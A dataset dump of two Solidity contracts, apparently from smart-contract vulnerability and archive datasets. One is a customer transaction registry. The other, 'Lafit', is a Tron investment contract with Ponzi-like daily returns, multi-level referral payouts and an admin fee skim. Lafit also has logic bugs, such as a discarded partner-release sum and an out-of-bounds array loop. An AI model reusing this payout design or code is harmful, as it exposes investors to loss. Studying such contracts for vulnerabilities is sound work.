f9a71aa74ef57a67ab86dfabfca99ef7742b94f8ef1859a9b55e446a1c2264c7
| 25,042 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd5e84e9427bf9427b0c3f8b381051dec6fbd0194.sol
| 3,771 | 14,928 |
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/TxRegistry.sol
contract TxRegistry is Ownable {
address public customer;
// @dev Structure for TX data
struct TxData {
bytes32 txOrigMcwTransfer;
uint256 amountMCW;
uint256 amountKWh;
uint256 timestampPaymentMCW;
bytes32 txPaymentKWh;
uint256 timestampPaymentKWh;
}
// @dev Customer's Tx of payment for MCW registry
mapping (bytes32 => TxData) private txRegistry;
// @dev Customer's list of Tx
bytes32[] private txIndex;
constructor(address _customer) public {
customer = _customer;
}
function addTxToRegistry(bytes32 _txPaymentForMCW,
bytes32 _txOrigMcwTransfer,
uint256 _amountMCW,
uint256 _amountKWh,
uint256 _timestamp) public onlyOwner returns(bool)
{
require(_txPaymentForMCW != 0 && _txOrigMcwTransfer != 0 && _amountMCW != 0 && _amountKWh != 0 && _timestamp != 0,
"All parameters must be not empty.");
require(txRegistry[_txPaymentForMCW].timestampPaymentMCW == 0,
"Tx with such hash is already exist.");
txRegistry[_txPaymentForMCW].txOrigMcwTransfer = _txOrigMcwTransfer;
txRegistry[_txPaymentForMCW].amountMCW = _amountMCW;
txRegistry[_txPaymentForMCW].amountKWh = _amountKWh;
txRegistry[_txPaymentForMCW].timestampPaymentMCW = _timestamp;
txIndex.push(_txPaymentForMCW);
return true;
}
function setTxAsSpent(bytes32 _txPaymentForMCW, bytes32 _txPaymentForKWh, uint256 _timestamp) public onlyOwner returns(bool) {
require(_txPaymentForMCW != 0 && _txPaymentForKWh != 0 && _timestamp != 0,
"All parameters must be not empty.");
require(txRegistry[_txPaymentForMCW].timestampPaymentMCW != 0,
"Tx with such hash doesn't exist.");
require(txRegistry[_txPaymentForMCW].timestampPaymentKWh == 0,
"Tx with such hash is already spent.");
txRegistry[_txPaymentForMCW].txPaymentKWh = _txPaymentForKWh;
txRegistry[_txPaymentForMCW].timestampPaymentKWh = _timestamp;
return true;
}
function getTxCount() public view returns(uint256) {
return txIndex.length;
}
function getTxAtIndex(uint256 _index) public view returns(bytes32) {
return txIndex[_index];
}
function getTxOrigMcwTransfer(bytes32 _txPaymentForMCW) public view returns(bytes32) {
return txRegistry[_txPaymentForMCW].txOrigMcwTransfer;
}
function getTxAmountMCW(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].amountMCW;
}
function getTxAmountKWh(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].amountKWh;
}
function getTxTimestampPaymentMCW(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].timestampPaymentMCW;
}
function getTxPaymentKWh(bytes32 _txPaymentForMCW) public view returns(bytes32) {
return txRegistry[_txPaymentForMCW].txPaymentKWh;
}
function getTxTimestampPaymentKWh(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].timestampPaymentKWh;
}
function isValidTxPaymentForMCW(bytes32 _txPaymentForMCW) public view returns(bool) {
bool isValid = false;
if (txRegistry[_txPaymentForMCW].timestampPaymentMCW != 0) {
isValid = true;
}
return isValid;
}
function isSpentTxPaymentForMCW(bytes32 _txPaymentForMCW) public view returns(bool) {
bool isSpent = false;
if (txRegistry[_txPaymentForMCW].timestampPaymentKWh != 0) {
isSpent = true;
}
return isSpent;
}
function isValidTxPaymentForKWh(bytes32 _txPaymentForKWh) public view returns(bool) {
bool isValid = false;
for (uint256 i = 0; i < getTxCount(); i++) {
if (txRegistry[getTxAtIndex(i)].txPaymentKWh == _txPaymentForKWh) {
isValid = true;
break;
}
}
return isValid;
}
function getTxPaymentMCW(bytes32 _txPaymentForKWh) public view returns(bytes32) {
bytes32 txMCW = 0;
for (uint256 i = 0; i < getTxCount(); i++) {
if (txRegistry[getTxAtIndex(i)].txPaymentKWh == _txPaymentForKWh) {
txMCW = getTxAtIndex(i);
break;
}
}
return txMCW;
}
}
// File: contracts/McwCustomerRegistry.sol
contract McwCustomerRegistry is Ownable {
// @dev Key: address of customer wallet, Value: address of customer TxRegistry contract
mapping (address => address) private registry;
// @dev Customers list
address[] private customerIndex;
// @dev Events for dashboard
event NewCustomer(address indexed customer, address indexed txRegistry);
event NewCustomerTx(address indexed customer,
bytes32 txPaymentForMCW,
bytes32 txOrigMcwTransfer,
uint256 amountMCW,
uint256 amountKWh,
uint256 timestamp);
event SpendCustomerTx(address indexed customer, bytes32 txPaymentForMCW, bytes32 txPaymentForKWh, uint256 timestamp);
// @dev Constructor
constructor() public {}
function addCustomerToRegistry(address _customer) public onlyOwner returns(bool) {
require(_customer != address(0),
"Parameter must be not empty.");
require(registry[_customer] == address(0),
"Customer is already in the registry.");
address txRegistry = new TxRegistry(_customer);
registry[_customer] = txRegistry;
customerIndex.push(_customer);
emit NewCustomer(_customer, txRegistry);
return true;
}
function addTxToCustomerRegistry(address _customer,
bytes32 _txOrigMcwTransfer,
uint256 _amountMCW,
uint256 _amountKWh) public onlyOwner returns(bool)
{
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txOrigMcwTransfer != 0 && _amountMCW != 0 && _amountKWh != 0,
"All parameters must be not empty.");
uint256 timestamp = now;
bytes32 txPaymentForMCW = keccak256(abi.encodePacked(_customer,
_amountMCW,
_amountKWh,
timestamp));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
require(txRegistry.getTxTimestampPaymentMCW(txPaymentForMCW) == 0,
"Tx with such hash is already exist.");
if (!txRegistry.addTxToRegistry(txPaymentForMCW,
_txOrigMcwTransfer,
_amountMCW,
_amountKWh,
timestamp))
revert ("Something went wrong.");
emit NewCustomerTx(_customer,
txPaymentForMCW,
_txOrigMcwTransfer,
_amountMCW,
_amountKWh,
timestamp);
return true;
}
function setCustomerTxAsSpent(address _customer, bytes32 _txPaymentForMCW) public onlyOwner returns(bool) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
require(txRegistry.getTxTimestampPaymentMCW(_txPaymentForMCW) != 0,
"Tx with such hash doesn't exist.");
require(txRegistry.getTxTimestampPaymentKWh(_txPaymentForMCW) == 0,
"Tx with such hash is already spent.");
uint256 timestamp = now;
bytes32 txPaymentForKWh = keccak256(abi.encodePacked(_txPaymentForMCW,
timestamp));
if (!txRegistry.setTxAsSpent(_txPaymentForMCW, txPaymentForKWh, timestamp))
revert ("Something went wrong.");
emit SpendCustomerTx(_customer,
_txPaymentForMCW,
txPaymentForKWh,
timestamp);
return true;
}
function getCustomerCount() public view returns(uint256) {
return customerIndex.length;
}
function getCustomerAtIndex(uint256 _index) public view returns(address) {
return customerIndex[_index];
}
function getCustomerTxRegistry(address _customer) public view returns(address) {
return registry[_customer];
}
function isValidCustomer(address _customer) public view returns(bool) {
require(_customer != address(0),
"Parameter must be not empty.");
bool isValid = false;
address txRegistry = registry[_customer];
if (txRegistry != address(0)) {
isValid = true;
}
return isValid;
}
// wrappers on TxRegistry contract
function getCustomerTxCount(address _customer) public view returns(uint256) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 txCount = txRegistry.getTxCount();
return txCount;
}
function getCustomerTxAtIndex(address _customer, uint256 _index) public view returns(bytes32) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txIndex = txRegistry.getTxAtIndex(_index);
return txIndex;
}
function getCustomerTxOrigMcwTransfer(address _customer, bytes32 _txPaymentForMCW) public view returns(bytes32) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txOrigMcwTransfer = txRegistry.getTxOrigMcwTransfer(_txPaymentForMCW);
return txOrigMcwTransfer;
}
function getCustomerTxAmountMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 amountMCW = txRegistry.getTxAmountMCW(_txPaymentForMCW);
return amountMCW;
}
function getCustomerTxAmountKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 amountKWh = txRegistry.getTxAmountKWh(_txPaymentForMCW);
return amountKWh;
}
function getCustomerTxTimestampPaymentMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 timestampPaymentMCW = txRegistry.getTxTimestampPaymentMCW(_txPaymentForMCW);
return timestampPaymentMCW;
}
function getCustomerTxPaymentKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(bytes32) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txPaymentKWh = txRegistry.getTxPaymentKWh(_txPaymentForMCW);
return txPaymentKWh;
}
function getCustomerTxTimestampPaymentKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 timestampPaymentKWh = txRegistry.getTxTimestampPaymentKWh(_txPaymentForMCW);
return timestampPaymentKWh;
}
function isValidCustomerTxPaymentForMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(bool) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isValid = txRegistry.isValidTxPaymentForMCW(_txPaymentForMCW);
return isValid;
}
function isSpentCustomerTxPaymentForMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(bool) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForMCW != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isSpent = txRegistry.isSpentTxPaymentForMCW(_txPaymentForMCW);
return isSpent;
}
function isValidCustomerTxPaymentForKWh(address _customer, bytes32 _txPaymentForKWh) public view returns(bool) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForKWh != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isValid = txRegistry.isValidTxPaymentForKWh(_txPaymentForKWh);
return isValid;
}
function getCustomerTxPaymentMCW(address _customer, bytes32 _txPaymentForKWh) public view returns(bytes32) {
require(isValidCustomer(_customer),
"Customer is not in the registry.");
require(_txPaymentForKWh != bytes32(0),
"Parameter must be not empty.");
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txMCW = txRegistry.getTxPaymentMCW(_txPaymentForKWh);
return txMCW;
}
}
| 185,055 | 755 |
76d38eb48936a7d818db83a4cc767838e43c1cdd3818e58f5179204a32e61b3d
| 21,032 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRF7iLf4gF7oRtXj4ha2rSo1irBjkwvwHT_Lafit.sol
| 6,328 | 20,917 |
//SourceUnit: Lafit.sol
pragma solidity ^0.5.10;
contract IToken{
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract Lafit{
using SafeMath for uint256;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address upline;
uint256 bonus;
uint256 referrals;
uint256 totalStructure;
uint256 poolBonus;
uint256 directBonus;
uint256 partnerBonus;
uint256 partnerBonusTotal;
uint256 partnerAmount;
uint256 partnerWithdrawn;
uint256 threeLevelPerformance;
uint256 userTotalWithdraw;
bool isPartner;
}
IToken token;
address owner;
uint256 internal decimal = 10 ** 6;
uint256 internal MIN_INVESTMENT = 200 * decimal;
uint256 constant public BASE_PERCENT = 10;
uint256 constant public DIRECT_BONUS_PERCENT = 100;
uint256 constant public POOL_PERCENT = 950;
uint256 constant public REWARD_PERCENT = 24;
uint256[] public REFERRAL_PERCENTS = [300,300,300,100,100,100,100,80,80,80,80,50,50,50,50];
uint256 constant public ADMIN_FEE = 50;
uint256 constant public PARTNER_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 public CONTRACT_BALANCE_STEP = 2000000 * decimal;
uint256 public CONTRACT_BALANCE_STEP_SECOND = 5000000 * decimal;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address private adminAddr;
mapping (address => User) internal users;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
uint256 public pool_balance_total;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
address[] public bigPartnerAddr;
address[] public smallPartnerAddr;
uint256 public partnerPoolBalance;
uint40 public partnerLastBonus = uint40(block.timestamp);
uint40 public partnerLastAssessment = uint40(block.timestamp);
event NewUser(address user);
event RefBonus(address up,address _addr,uint256 bonus);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed upline, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
event PoolPayout(address indexed addr, uint256 amount);
constructor(IToken _token,address _adminAddr) public payable{
owner = msg.sender;
token = _token;
adminAddr =_adminAddr;
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
}
function() external payable{}
function invest(address _upline,uint256 amount) public {
require(amount >= MIN_INVESTMENT,'The investment amount is wrong');
if(totalInvested < (1e7 * decimal)){
require(amount <= (1e4 * decimal) ,'The investment amount must be less than 10,000');
}
if(totalInvested >=(1e7 * decimal) && totalInvested< (2e7 * decimal)){
require(amount <= (5e4 * decimal) ,'The investment amount must be less than 50,000');
}
require(!isActive(msg.sender),'Deposit already exists');
require(token.balanceOf(msg.sender) >= amount, 'Your balance is insufficient');
User storage user = users[msg.sender];
if(user.deposits.length>0){
Deposit memory d = user.deposits[user.deposits.length-1];
require(amount >d.amount ,'The investment amount must be greater than the last time');
}
uint256 tt = amount.mul(POOL_PERCENT).div(PERCENTS_DIVIDER);
token.transferFrom(msg.sender,adminAddr, amount.sub(tt));
bool res = token.transferFrom(msg.sender,address(this), tt);
require(res,'transferFrom excute faild');
if (user.upline == address(0) && users[_upline].deposits.length > 0 && _upline != msg.sender) {
user.upline = _upline;
}
address up = user.upline;
if (user.upline != address(0)) {
users[up].directBonus += (amount.mul(DIRECT_BONUS_PERCENT).div(PERCENTS_DIVIDER));
}
user.checkpoint = block.timestamp;
if (user.deposits.length == 0) {
totalUsers = totalUsers.add(1);
users[up].referrals++;
for(uint8 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if(up == address(0)) break;
users[up].totalStructure++;
up = users[up].upline;
}
emit NewUser(msg.sender);
}
user.deposits.push(Deposit(amount, 0, block.timestamp));
totalInvested = totalInvested.add(amount);
totalDeposits = totalDeposits.add(1);
address u = user.upline;
for(uint8 i=0;i<3;i++){
if(u==address(0)) break;
users[u].threeLevelPerformance += amount;
u= users[u].upline;
}
pollDeposits(msg.sender, amount);
if(pool_last_draw + TIME_STEP < block.timestamp) {
drawPool();
}
if(partnerLastBonus + (10*60*60) < block.timestamp){
drawPartnerBonus();
}
partnerPoolBalance += (amount * 5/100);
emit NewDeposit(msg.sender, amount);
}
function bigPartnerAssessment() private{
address addr0 = bigPartnerAddr[0];
uint performance0 = users[addr0].threeLevelPerformance;
users[addr0].isPartner = true;
for(uint8 i=1;i < bigPartnerAddr.length;i++){
address userAddr = bigPartnerAddr[i];
users[userAddr].isPartner = true;
uint performance = users[userAddr].threeLevelPerformance;
if(performance < performance0){
addr0 = userAddr;
performance0 = performance;
}
}
users[addr0].isPartner = false;
}
function smallPartnerAssessment() private{
address addr0 = smallPartnerAddr[0];
uint performance0 = users[addr0].threeLevelPerformance;
users[addr0].isPartner = true;
for(uint8 i=1;i < smallPartnerAddr.length;i++){
address userAddr = smallPartnerAddr[i];
users[userAddr].isPartner = true;
uint performance = users[userAddr].threeLevelPerformance;
if(performance < performance0){
addr0 = userAddr;
performance0 = performance;
}
}
users[addr0].isPartner = false;
}
function drawPartnerBonus() private{
if(partnerLastAssessment + 30 days < block.timestamp){
bigPartnerAssessment();
smallPartnerAssessment();
partnerLastAssessment = uint40(block.timestamp);
}
uint256 bigTotalPerformance;
uint256 bigActuMembers ;
uint256 smallTotalPerformance;
uint256 smallActuMembers ;
for(uint8 i=0;i<bigPartnerAddr.length;i++){
User storage user = users[bigPartnerAddr[i]];
if(user.isPartner){
bigTotalPerformance += user.threeLevelPerformance;
bigActuMembers++;
}
}
for(uint8 i=0;i<bigPartnerAddr.length;i++){
User storage user = users[bigPartnerAddr[i]];
if(user.isPartner){
uint256 half = partnerPoolBalance*60/100/2;
user.partnerBonus += (half/bigActuMembers + half*user.threeLevelPerformance/bigTotalPerformance);
}
}
for(uint8 i=0;i<smallPartnerAddr.length;i++){
User storage user = users[smallPartnerAddr[i]];
if(user.isPartner){
smallTotalPerformance += user.threeLevelPerformance;
smallActuMembers++;
}
}
for(uint8 i=0;i<smallPartnerAddr.length;i++){
User storage user = users[smallPartnerAddr[i]];
if(user.isPartner){
uint256 half = partnerPoolBalance*40/100/2;
user.partnerBonus += (half/smallActuMembers + half*user.threeLevelPerformance/smallTotalPerformance);
}
}
partnerLastBonus=uint40(block.timestamp);
partnerPoolBalance = 0;
}
function pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 24 / 1000;
pool_balance_total += pool_balance;
User memory user = users[_addr];
address upline = user.upline;
if(upline == address(0)) return;
for(uint8 m=0;m<3;m++){
if(upline == address(0)) break;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
upline=users[upline].upline;
}
}
function drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = pool_balance * pool_bonuses[i] / 100;
users[pool_top[i]].poolBonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function refBonus(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER;
users[up].bonus += bonus;
emit RefBonus(up, _addr, bonus);
}
up = users[up].upline;
}
}
function withdraw() public returns (bool){
if(pool_last_draw + TIME_STEP < block.timestamp) {
drawPool();
}
if(partnerLastBonus + (10*60*60) < block.timestamp){
drawPartnerBonus();
}
User storage user = users[msg.sender];
require(user.deposits.length>0,'you have not invested');
Deposit storage deposit = user.deposits[user.deposits.length-1];
uint256 maxPayOut = deposit.amount.mul(3);
require(deposit.withdrawn < maxPayOut, "User has no dividends");
uint256 userPercentRate = getUserPercentRate();
uint256 totalAmount;
uint256 dividends = (deposit.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
if((deposit.withdrawn + dividends)>maxPayOut){
dividends = maxPayOut.sub(deposit.withdrawn);
}
if(dividends > 0){
deposit.withdrawn += dividends;
totalAmount += dividends;
refBonus(msg.sender,dividends);
}
if(deposit.withdrawn < maxPayOut && user.directBonus>0){
uint256 directBonus = user.directBonus;
if(deposit.withdrawn + directBonus > maxPayOut){
directBonus = maxPayOut - deposit.withdrawn;
}
user.directBonus -= directBonus;
deposit.withdrawn += directBonus;
totalAmount += directBonus;
}
if(deposit.withdrawn < maxPayOut && user.bonus >0){
uint256 bonus = user.bonus;
if(deposit.withdrawn + bonus >maxPayOut){
bonus = maxPayOut - deposit.withdrawn;
}
user.bonus -= bonus;
deposit.withdrawn += bonus;
totalAmount += bonus;
}
if(deposit.withdrawn < maxPayOut && user.poolBonus >0){
uint256 poolBonus = user.poolBonus;
if(deposit.withdrawn + poolBonus> maxPayOut){
poolBonus = maxPayOut - deposit.withdrawn;
}
user.poolBonus -= poolBonus;
deposit.withdrawn += poolBonus;
totalAmount += poolBonus;
}
if(user.isPartner && user.partnerBonus > 0){
totalAmount += user.partnerBonus;
user.partnerBonusTotal += user.partnerBonus;
user.partnerBonus = 0;
}
uint256 partnerRealese = (user.partnerAmount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
if(user.partnerWithdrawn + partnerRealese > user.partnerAmount){
partnerRealese = user.partnerAmount.sub(user.partnerWithdrawn);
}
user.partnerWithdrawn += partnerRealese;
totalAmount.add(partnerRealese);
bool res = token.transfer(msg.sender,totalAmount);
require(res,'withdraw failed');
user.userTotalWithdraw += totalAmount;
totalWithdrawn = totalWithdrawn.add(totalAmount);
user.checkpoint = block.timestamp;
emit Withdrawn(msg.sender, totalAmount);
return true;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
Deposit storage deposit = user.deposits[user.deposits.length-1];
uint256 maxPayOut = deposit.amount.mul(3);
uint256 userPercentRate = getUserPercentRate();
uint256 dividends;
//static
dividends = (deposit.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
if((deposit.withdrawn + dividends) > maxPayOut){
dividends = maxPayOut.sub(deposit.withdrawn);
}
return dividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserUpline(address userAddress) public view returns(address) {
return users[userAddress].upline;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserpoolBonus(address userAddress) public view returns(uint256) {
return users[userAddress].poolBonus;
}
function getUserDirectBonus(address userAddress) public view returns(uint256) {
return users[userAddress].directBonus;
}
function userUnWithdraw(address userAddress) public view returns(uint256 data) {
User storage user = users[userAddress];
if(user.deposits.length==0){
return 0;
}
Deposit storage deposit = user.deposits[user.deposits.length-1];
uint256 maxPayOut = deposit.amount.mul(3);
uint256 dividends = getUserDividends(userAddress);
uint256 referralBonus = getUserReferralBonus(userAddress);
uint256 directBonus = getUserDirectBonus(userAddress);
uint256 poolBonus = getUserpoolBonus(userAddress);
uint256 result = dividends + referralBonus + directBonus + poolBonus ;
if(result + deposit.withdrawn > maxPayOut){
result = maxPayOut.sub(deposit.withdrawn);
}
if(user.isPartner){
result += user.partnerBonus;
}
return result;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(3)) {
return true;
}
}
}
function getUserDepositInfoByIndex(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserTotalInvestAndWithdrawnForDeposits(address userAddress) public view returns(uint8,uint256,uint256) {
User storage user = users[userAddress];
uint256 totalAmountForDeposits;
uint256 totalWithdrawnForDeposits;
for (uint256 i = 0; i < user.deposits.length; i++) {
totalAmountForDeposits = totalAmountForDeposits.add(user.deposits[i].amount);
totalWithdrawnForDeposits = totalWithdrawnForDeposits.add(user.deposits[i].withdrawn);
}
return (uint8(user.deposits.length),totalAmountForDeposits,totalWithdrawnForDeposits);
}
function userInfo1(address _addr) view external returns (uint256 checkpoint,address upline,uint256 referrals,uint256 totalStructure){
User memory user = users[_addr];
return (user.checkpoint,user.upline,user.referrals,user.totalStructure);
}
function userInfo2(address _addr) view external returns (uint256 poolBonus,uint256 directBonus,uint256 partnerBonus,uint256 threeLevelPerformance,uint256 userTotalWithdraw){
User memory user = users[_addr];
return (user.poolBonus,user.directBonus,user.partnerBonus,user.threeLevelPerformance,user.userTotalWithdraw);
}
function userInfo3(address _addr) view external returns (uint256 bonus,uint256 partnerBonusTotal,uint256 partnerAmount,uint256 partnerWithdrawn,bool isPartner){
User memory user = users[_addr];
return (user.bonus,user.partnerBonusTotal,user.partnerAmount,user.partnerWithdrawn,user.isPartner);
}
function contractInfo() view external returns (uint256 _totalUsers,uint256 _totalInvested,uint256 _totalWithdrawn,uint256 _totalDeposits,uint256 _pool_last_draw,uint256 _pool_balance,uint256 _pool_balance_total,uint256 _topReffer){
return (totalUsers,totalInvested,totalWithdrawn,totalDeposits,pool_last_draw,pool_balance,pool_balance_total,pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function addPartner(address addr,uint8 type_big1small2) public onlyOwner returns (bool){
require(users[addr].deposits.length != 0,' this address is not in users');
require((type_big1small2==1 || type_big1small2==2),'type_big1small2 must be 1 or 2');
bool isExist =false;
for(uint8 i =0;i<bigPartnerAddr.length;i++){
if(bigPartnerAddr[i]==addr){
isExist =true;
}
}
for(uint8 i =0;i<smallPartnerAddr.length;i++){
if(smallPartnerAddr[i]==addr){
isExist =true;
}
}
require(!isExist,'this address already exists ');
if(type_big1small2==1){
bigPartnerAddr.push(addr);
users[addr].partnerAmount = 90000* decimal;
}else if(type_big1small2==2){
smallPartnerAddr.push(addr);
users[addr].partnerAmount=30000* decimal;
}
users[addr].isPartner =true;
return true;
}
function delPartner(address addr) public onlyOwner returns(bool){
for(uint8 i =0;i<bigPartnerAddr.length;i++){
if(bigPartnerAddr[i]==addr){
delete bigPartnerAddr[i];
for(uint8 j = i; j<bigPartnerAddr.length-1;j++){
bigPartnerAddr[j]=bigPartnerAddr[j+1];
}
delete bigPartnerAddr[bigPartnerAddr.length-1];
bigPartnerAddr.length--;
users[addr].isPartner=false;
}
}
for(uint8 i =0;i<smallPartnerAddr.length;i++){
if(smallPartnerAddr[i]==addr){
delete smallPartnerAddr[i];
for(uint8 j = i; j<smallPartnerAddr.length-1;j++){
smallPartnerAddr[j]=smallPartnerAddr[j+1];
}
delete smallPartnerAddr[smallPartnerAddr.length-1];
smallPartnerAddr.length--;
users[addr].isPartner=false;
}
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getPoolBalance() internal view returns (uint256) {
return totalInvested <= totalWithdrawn?0:totalInvested.sub(totalWithdrawn);
}
function getUserPercentRate() public view returns (uint256) {
uint256 contractBalance = getPoolBalance();
if(contractBalance>(1e7 * decimal) && contractBalance<(5e7 * decimal)){
uint256 f = contractBalance.sub(1e7 * decimal);
uint256 m = (f+ CONTRACT_BALANCE_STEP -1)/CONTRACT_BALANCE_STEP;
m = m<=90 ? m :90;
return BASE_PERCENT.add(m);
}
if(contractBalance > (5e7 * decimal)){
uint256 f = contractBalance.sub(5e7 * decimal);
uint256 m = (f+ CONTRACT_BALANCE_STEP_SECOND -1)/CONTRACT_BALANCE_STEP_SECOND;
m = m<=90 ? m :90;
return BASE_PERCENT.add(m);
}
return BASE_PERCENT;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
